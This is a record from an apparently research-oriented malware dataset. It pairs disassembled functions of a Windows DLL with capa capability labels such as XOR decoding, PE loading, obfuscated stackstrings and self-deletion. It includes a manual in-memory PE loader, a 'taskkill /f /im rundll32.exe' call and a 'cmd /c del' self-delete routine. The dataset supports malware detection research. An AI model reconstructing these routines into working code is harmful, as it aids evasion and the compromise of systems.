joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100042d0
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
mov dword [esp + 0xc], ecx
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x18]
push 0x104
push eax
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
or ecx, 0xffffffff
mov edi, str._._mnbvcxz_lkjhgfdsa__poiuytrewq
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov ebp, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x1c]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
mov edi, 0x10011c0c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 3
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x24]
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
mov edi, str..key
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 1
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x2c]
and ecx, 3
push closesocket
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x100043fe
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea ecx, [esp + 0x14]
mov esi, eax
push ebx
push ecx
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x100043e8
mov bl, byte [eax + esi]
xor bl, 0x62
mov byte [eax + esi], bl
inc eax
cmp eax, edi
jb 0x100043da
mov ecx, dword [esp + 0x10]
push edi
push esi
call fcn.10004270
push esi
mov ebx, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x10c
ret
Function at 0x10004620
Capabilities:
Parse pe header

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
cmp word [eax], 0x5a4d
push edi
je 0x10004638
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [esp + 0x10], edi
cmp dword [edi], 0x4550
je 0x10004651
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [edi + 0x50]
mov ecx, dword [edi + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
mov ebp, eax
test ebp, ebp
jne 0x10004688
mov edx, dword [edi + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov ebp, eax
test ebp, ebp
jne 0x10004688
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
xor eax, eax
push 4
push 0x1000
mov dword [ebx + 4], ebp
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], eax
mov eax, dword [edi + 0x50]
push eax
push ebp
call esi
mov ecx, dword [edi + 0x54]
push 4
push 0x1000
push ecx
push ebp
call esi
mov esi, dword [esp + 0x18]
mov edx, dword [edi + 0x54]
mov edi, eax
push ebx
mov ecx, dword [esi + 0x3c]
add ecx, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
push esi
push ecx
mov edx, dword [ecx + 0x3c]
add eax, edx
mov dword [ebx], eax
mov dword [eax + 0x34], ebp
call fcn.10004770
mov ecx, dword [esi + 0x34]
mov eax, ebp
add esp, 0xc
sub eax, ecx
je 0x10004711
push eax
push ebx
call fcn.10004900
add esp, 8
push ebx
call fcn.10004980
add esp, 4
test eax, eax
je 0x10004741
push ebx
call fcn.10004840
mov eax, dword [ebx]
add esp, 4
mov eax, dword [eax + 0x28]
test eax, eax
je 0x10004759
add eax, ebp
test eax, eax
je 0x10004741
push 0
push 1
push ebp
call eax
test eax, eax
jne 0x10004752
push ebx
call fcn.10004ba0
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov dword [ebx + 0x10], 1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
ret
Function at 0x10004770
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
xor ecx, ecx
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x10004831
push esi
push edi
add ebx, 0x10
cmp dword [ebx], 0
jne 0x100047db
mov edx, dword [esp + 0x1c]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x1000480f
mov eax, dword [ebx - 4]
push 4
push 0x1000
add eax, ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x1000480f
mov ecx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x1000479e
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10004840
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x100048f4
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x10004897
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x100048da
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x10011a40]
je 0x100048ae
or dh, 2
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x100048c7
test al, 0x40
je 0x100048be
mov ecx, dword [ebx + 0x20]
jmp 0x100048c5
test al, 0x80
je 0x100048da
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x100048da
lea eax, [esp + 0x10]
push eax
push edx
push ecx
mov ecx, dword [edi - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x10004864
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10004c30
Capabilities:
Enumerate devices by category

Disassembly:
sub esp, 0x28
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
push esi
push edi
push str.Ole32.dll
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.CoInitialize
push edi
call esi
push str.CoUninitialize
push edi
mov ebp, eax
call esi
push str.CoCreateInstance
push edi
mov dword [esp + 0x2c], eax
call esi
push str.Oleaut32.dll
mov dword [esp + 0x1c], eax
call ebx
mov ebx, eax
push str.SysFreeString
push ebx
call esi
push 0
mov esi, eax
call ebp
lea eax, [esp + 0x1c]
xor ebp, ebp
push eax
push 0x1000ed74
push 1
push ebp
push 0x1000ed94
call dword [esp + 0x2c]
test eax, eax
je 0x10004cab
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x28
ret
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x10]
push 0
push edx
mov ecx, dword [eax]
push 0x1000ed84
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x10004ccf
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x28
ret
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x18]
mov edx, dword [eax]
push ecx
push 1
push eax
call dword [edx + 0xc]
test eax, eax
jne 0x10004d66
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push ecx
push 0x1000eda8
mov edx, dword [eax]
push 0
push 0
push eax
call dword [edx + 0x24]
test eax, eax
jl 0x10004d42
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x28]
push 0
mov word [esp + 0x2c], 8
mov edx, dword [eax]
push ecx
push str.FriendlyName
push eax
call dword [edx + 0xc]
test eax, eax
jne 0x10004d38
mov edx, dword [esp + 0x30]
inc ebp
push edx
call esi
mov eax, dword [esp + 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x14]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x20]
push edx
lea edx, [esp + 0x18]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x10004cf3
call dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x10004d77
push edi
call esi
test ebx, ebx
je 0x10004d7e
push ebx
call esi
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x28
ret

Function at 0x10004d90
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x24
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x28]
push ecx
push 0x1001218c
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x30
ret
Function at 0x10004dc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x428
push ebp
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x34], 0
mov esi, dword [esp + 0x444]
rep stosd dword es:[edi], eax
mov ebp, dword [esp + 0x440]
mov ecx, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edx, ecx
xor eax, eax
mov edi, ebp
mov byte [esp + 0xd], 0x59
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov dl, 0x53
and ecx, 3
mov byte [esp + 0xc], dl
rep stosb byte es:[edi], al
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x34]
mov byte [esp + 0xe], dl
rep stosd dword es:[edi], eax
mov al, 0x65
mov cl, 0x72
mov byte [esp + 0x17], al
mov byte [esp + 0x22], al
mov byte [esp + 0x26], al
mov byte [esp + 0x2b], al
mov al, 0x73
mov byte [esp + 0x15], cl
mov byte [esp + 0x2c], al
mov byte [esp + 0x2f], al
mov eax, dword [esp + 0x438]
mov byte [esp + 0x16], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x27], cl
mov byte [esp + 0x21], dl
mov byte [esp + 0x25], dl
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x38]
push ecx
push edx
mov byte [esp + 0x1b], 0x54
mov byte [esp + 0x1c], 0x45
mov byte [esp + 0x1d], 0x4d
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x1f], 0x43
mov byte [esp + 0x20], 0x75
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x25], 0x74
mov byte [esp + 0x26], 0x43
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], 0x6e
mov byte [esp + 0x29], 0x74
mov byte [esp + 0x2b], 0x6f
mov byte [esp + 0x2c], 0x6c
mov byte [esp + 0x2f], 0x74
mov byte [esp + 0x30], 0x5c
mov byte [esp + 0x34], 0x76
mov byte [esp + 0x35], 0x69
mov byte [esp + 0x36], 0x63
mov byte [esp + 0x39], 0x5c
mov byte [esp + 0x3a], 0x25
mov byte [esp + 0x3c], 0
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [esp + 0x448]
push 0
push esi
push 0
push ebp
push 1
push eax
lea ecx, [esp + 0x58]
push ecx
push getsockname
call fcn.10008760
add esp, 0x2c
pop edi
pop esi
pop ebp
add esp, 0x428
ret

Function at 0x10004f10
Capabilities:
Get hostname

Disassembly:
sub esp, 8
mov ecx, dword [esp + 0xc]
push ebx
push esi
mov esi, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x20]
push edi
lea eax, [esp + 0x10]
push esi
push eax
push ecx
mov byte [esp + 0x1c], 0x48
mov byte [esp + 0x1d], 0x6f
mov byte [esp + 0x1e], 0x73
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], 0
call fcn.10004dc0
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x10
push esi
call ebx
test eax, eax
jne 0x10004f60
push edi
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call ebx
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x10005d20
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x10
mov al, 0x6c
mov byte [esp], 0x72
mov byte [esp + 4], al
mov byte [esp + 5], al
mov al, 0x65
mov byte [esp + 1], 0x75
mov byte [esp + 9], al
mov byte [esp + 0xb], al
lea eax, [esp]
mov byte [esp + 2], 0x6e
push eax
mov byte [esp + 7], 0x64
mov byte [esp + 0xa], 0x33
mov byte [esp + 0xb], 0x32
mov byte [esp + 0xc], 0x2e
mov byte [esp + 0xe], 0x78
mov byte [esp + 0x10], 0
call fcn.10008580
add esp, 4
test eax, eax
je 0x10005d82
push 0
push str.taskkill__f__im_rundll32.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
add esp, 0x10
ret
Function at 0x10005d90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x558
push ebx
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x165]
mov byte [esp + 0x164], 0
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, 0x53
mov cl, 0x74
mov byte [esp + 0x28], al
mov byte [esp + 0x2a], al
mov byte [esp + 0x3d], al
mov byte [esp + 0x41], al
mov al, 0x73
mov dl, 0x5c
mov byte [esp + 0x48], al
mov byte [esp + 0x4b], al
mov eax, dword [esp + 0x568]
mov byte [esp + 0x35], cl
mov byte [esp + 0x39], cl
mov byte [esp + 0x3f], cl
mov byte [esp + 0x2e], dl
mov byte [esp + 0x40], dl
mov byte [esp + 0x49], dl
lea ecx, [esp + 0x28]
push eax
lea edx, [esp + 0x168]
mov bl, 0x65
push ecx
push edx
mov byte [esp + 0x35], 0x59
mov byte [esp + 0x37], 0x54
mov byte [esp + 0x38], 0x45
mov byte [esp + 0x39], 0x4d
mov byte [esp + 0x3b], 0x43
mov byte [esp + 0x3c], 0x75
mov byte [esp + 0x3d], 0x72
mov byte [esp + 0x3e], 0x72
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], 0x6e
mov byte [esp + 0x42], 0x43
mov byte [esp + 0x43], 0x6f
mov byte [esp + 0x44], 0x6e
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], 0x6f
mov byte [esp + 0x48], 0x6c
mov byte [esp + 0x4a], bl
mov byte [esp + 0x4e], bl
mov byte [esp + 0x4f], 0x72
mov byte [esp + 0x50], 0x76
mov byte [esp + 0x51], 0x69
mov byte [esp + 0x52], 0x63
mov byte [esp + 0x53], bl
mov byte [esp + 0x56], 0x25
mov byte [esp + 0x58], 0
call esi
add esp, 0xc
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x61]
mov byte [esp + 0x60], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, 0x64
mov dl, 0x2e
mov cl, 0x32
mov byte [esp + 0x18], 0x25
mov byte [esp + 0x19], 0x34
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], 0x2d
mov byte [esp + 0x1c], 0x25
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x23], cl
mov ecx, dword [esp + 0x5a]
mov byte [esp + 0x22], dl
mov edx, dword [esp + 0x58]
and ecx, 0xffff
mov byte [esp + 0x1f], al
mov byte [esp + 0x24], al
mov eax, dword [esp + 0x56]
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x56]
push edx
mov edx, dword [esp + 0x58]
and eax, 0xffff
and ecx, 0xffff
push eax
and edx, 0xffff
push ecx
lea eax, [esp + 0x28]
push edx
lea ecx, [esp + 0x74]
push eax
push ecx
mov byte [esp + 0x3c], 0x2d
mov byte [esp + 0x3d], 0x25
mov byte [esp + 0x41], 0
call esi
add esp, 0x1c
lea edx, [esp + 0x60]
mov byte [esp + 0xc], 0x4d
mov byte [esp + 0xd], 0x61
push 0
push edx
mov byte [esp + 0x16], 0x72
mov byte [esp + 0x17], 0x6b
mov byte [esp + 0x18], 0x54
mov byte [esp + 0x19], 0x69
mov byte [esp + 0x1a], 0x6d
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [esp + 0x68]
push eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x174]
push ecx
push edx
push getsockname
call fcn.10008a30
add esp, 0x1c
pop edi
pop esi
pop ebx
add esp, 0x558
ret
Function at 0x10005fa0
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x354
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
push 0x2e
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x18], 0x104
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
jne 0x10005fe3
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push closesocket
call ebp
test eax, eax
je 0x1000600e
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x6c]
push edx
push eax
push 0
push ecx
call esi
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebx
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x170]
push eax
push str._s_shellopencommand
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x170]
push edx
push 0xf003f
push 0
push eax
push closesocket
call ebp
test eax, eax
je 0x1000608b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
lea edx, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebx
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x6c]
push 0x10011954
push edx
call esi
add esp, 8
test eax, eax
jne 0x10006108
lea eax, [esp + 0x6c]
push 0x10011950
push eax
call esi
add esp, 8
test eax, eax
jne 0x10006108
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x6c]
push 0x1001194c
push ecx
call esi
mov edx, dword [esp + 0x368]
lea eax, [esp + 0x6c]
push edx
push eax
call esi
jmp 0x10006117
mov ecx, dword [esp + 0x368]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x1000613f
mov dword [esp + 0x30], str.WinSta0Default
lea edx, [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x88]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x354
ret
Function at 0x100062c0
Capabilities:
Get file size
Write file on windows

Disassembly:
mov ax, word [0x10011fba]
sub esp, 0x404
test ax, ax
push ebp
push esi
je 0x1000639d
push 0
xor esi, esi
push 0x80
push 4
mov si, ax
mov eax, dword [esp + 0x41c]
push 0
push 2
push 0x40000000
push eax
shl esi, 0xa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x1000639d
push edi
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, esi
shl ecx, 0xa
cmp ecx, eax
jbe 0x10006395
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
mov dword [esp + 0xc], 0
test esi, esi
jbe 0x10006395
push ebx
test edi, 0x3ff
jne 0x10006377
xor ebx, ebx
call fcn.10006240
add al, bl
mov ecx, 0xff
movsx eax, al
cdq
idiv ecx
inc ebx
cmp ebx, 0x400
mov byte [esp + ebx + 0x13], dl
jl 0x10006358
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x1c]
push 0x400
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc edi
cmp edi, esi
jb 0x1000634e
pop ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
add esp, 0x404
ret

Function at 0x100063b0
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov ebx, dword [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000642e
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll__access]
cmp byte [esi + ebx], 0x5c
jne 0x1000641c
push esi
lea eax, [esp + 0x14]
push ebx
push eax
call fcn.100089f0
lea ecx, [esp + 0x1c]
push 0
push ecx
call ebp
add esp, 0x14
cmp eax, 0xffffffff
jne 0x1000641c
lea edx, [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x100063ec
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x104
ret

Function at 0x10006800
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
mov ecx, dword [0x10013a18]
sub esp, 0x208
lea eax, [esp + 0x104]
push 0x104
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [esp + 4]
push eax
lea ecx, [esp + 8]
push str._s_d.bak
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [esp]
lea eax, [esp + 0x104]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea ecx, [esp + 4]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
add esp, 0x208
ret
Function at 0x10006c50
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Self delete

Disassembly:
sub esp, 0x348
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x49]
mov byte [esp + 0x48], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x251]
mov byte [esp + 0x250], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x14d]
mov byte [esp + 0x14c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x48]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x48]
push 0x104
lea edx, [esp + 0x4c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [esp + 0x250]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x14c]
push str._c_del
push ecx
call esi
lea edx, [esp + 0x48]
lea eax, [esp + 0x14c]
push edx
push eax
call esi
lea ecx, [esp + 0x14c]
push str.___nul
push ecx
call esi
lea ecx, [esp + 0xc]
lea edx, [esp + 0x250]
lea eax, [esp + 0x14c]
push ecx
mov dword [esp + 0x10], 0x3c
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], str.Open
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x14], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x10006da8
mov edx, dword [esp + 0x44]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0x40
push edx
call esi
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [esp + 0x48]
push ebx
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x348
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x348
ret